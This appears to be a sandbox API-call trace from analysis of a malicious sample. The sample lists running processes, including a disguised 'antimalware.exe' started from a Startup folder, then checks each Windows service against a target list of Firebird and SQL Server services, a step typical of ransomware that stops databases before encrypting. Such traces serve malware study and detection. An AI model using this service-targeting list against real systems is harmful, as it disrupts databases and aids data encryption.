	[0146.286] Process32FirstW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0146.287] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0146.288] lstrlenW (lpString="System") returned 6
	[0146.288] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0146.289] lstrlenW (lpString="smss.exe") returned 8
	[0146.289] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0146.289] lstrlenW (lpString="csrss.exe") returned 9
	[0146.289] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0146.290] lstrlenW (lpString="wininit.exe") returned 11
	[0146.290] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0146.291] lstrlenW (lpString="csrss.exe") returned 9
	[0146.291] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0146.291] lstrlenW (lpString="winlogon.exe") returned 12
	[0146.291] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0146.292] lstrlenW (lpString="services.exe") returned 12
	[0146.292] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0146.293] lstrlenW (lpString="lsass.exe") returned 9
	[0146.293] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0146.293] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0146.293] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0146.294] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0146.294] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.295] lstrlenW (lpString="svchost.exe") returned 11
	[0146.295] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.295] lstrlenW (lpString="svchost.exe") returned 11
	[0146.295] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0146.296] lstrlenW (lpString="dwm.exe") returned 7
	[0146.296] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.297] lstrlenW (lpString="svchost.exe") returned 11
	[0146.297] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.298] lstrlenW (lpString="svchost.exe") returned 11
	[0146.298] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.299] lstrlenW (lpString="svchost.exe") returned 11
	[0146.299] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.299] lstrlenW (lpString="svchost.exe") returned 11
	[0146.299] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.300] lstrlenW (lpString="svchost.exe") returned 11
	[0146.300] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.301] lstrlenW (lpString="svchost.exe") returned 11
	[0146.301] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.302] lstrlenW (lpString="svchost.exe") returned 11
	[0146.302] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.303] lstrlenW (lpString="svchost.exe") returned 11
	[0146.303] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.304] lstrlenW (lpString="svchost.exe") returned 11
	[0146.304] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.305] lstrlenW (lpString="svchost.exe") returned 11
	[0146.305] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0146.306] lstrlenW (lpString="spoolsv.exe") returned 11
	[0146.306] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.306] lstrlenW (lpString="svchost.exe") returned 11
	[0146.307] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0146.307] lstrlenW (lpString="audiodg.exe") returned 11
	[0146.307] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0146.308] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0146.308] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0146.309] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0146.309] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0146.310] lstrlenW (lpString="sihost.exe") returned 10
	[0146.310] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0146.311] lstrlenW (lpString="Memory Compression") returned 18
	[0146.311] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0146.312] lstrlenW (lpString="svchost.exe") returned 11
	[0146.312] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0146.313] lstrlenW (lpString="taskhostw.exe") returned 13
	[0146.313] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0146.612] lstrlenW (lpString="msoia.exe") returned 9
	[0146.612] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0146.613] lstrlenW (lpString="taskhostw.exe") returned 13
	[0146.613] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0146.614] lstrlenW (lpString="explorer.exe") returned 12
	[0146.614] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0146.615] lstrlenW (lpString="SearchUI.exe") returned 12
	[0146.615] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0146.616] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0146.616] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0146.617] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0146.617] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0146.617] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0146.618] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0146.618] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0146.619] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0146.620] lstrlenW (lpString="cmd.exe") returned 7
	[0146.620] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0146.621] lstrlenW (lpString="conhost.exe") returned 11
	[0146.621] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0146.622] lstrlenW (lpString="mode.com") returned 8
	[0146.622] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0146.636] CloseHandle (hObject=0x550) returned 1
	[0146.636] Sleep (dwMilliseconds=0x1f4) 
	[0147.572] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0278
	[0147.573] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0147.576] GetLastError () returned 0xea
	[0147.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x459f700
	[0147.576] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x459f700, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x459f700, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0147.578] CloseServiceHandle (hSCObject=0x45b0278) returned 1
	[0147.579] lstrlenW (lpString="Appinfo") returned 7
	[0147.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0147.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0147.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0147.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0147.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0147.579] lstrlenW (lpString="AppXSvc") returned 7
	[0147.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0147.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0147.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0147.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0147.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0147.580] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0147.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0147.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0147.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0147.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0147.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0147.580] lstrlenW (lpString="Audiosrv") returned 8
	[0147.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0147.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0147.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0147.581] lstrlenW (lpString="BFE") returned 3
	[0147.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0147.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0147.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0147.581] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0147.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0147.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0147.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0147.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0147.582] lstrlenW (lpString="CDPSvc") returned 6
	[0147.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0147.582] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0147.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0147.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0147.582] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0147.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0147.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0147.583] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0147.583] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0147.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0147.583] lstrlenW (lpString="CryptSvc") returned 8
	[0147.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0147.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0147.583] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0147.583] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0147.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0147.583] lstrlenW (lpString="DcomLaunch") returned 10
	[0147.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0147.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0147.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0147.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0147.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0147.599] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0147.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0147.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0147.600] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0147.600] lstrlenW (lpString="Dhcp") returned 4
	[0147.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0147.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0147.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0147.600] lstrlenW (lpString="Dnscache") returned 8
	[0147.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0147.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0147.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0147.600] lstrlenW (lpString="DPS") returned 3
	[0147.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0147.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0147.600] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0147.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0147.600] lstrlenW (lpString="DusmSvc") returned 7
	[0147.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0147.601] lstrlenW (lpString="EventLog") returned 8
	[0147.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0147.601] lstrlenW (lpString="EventSystem") returned 11
	[0147.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
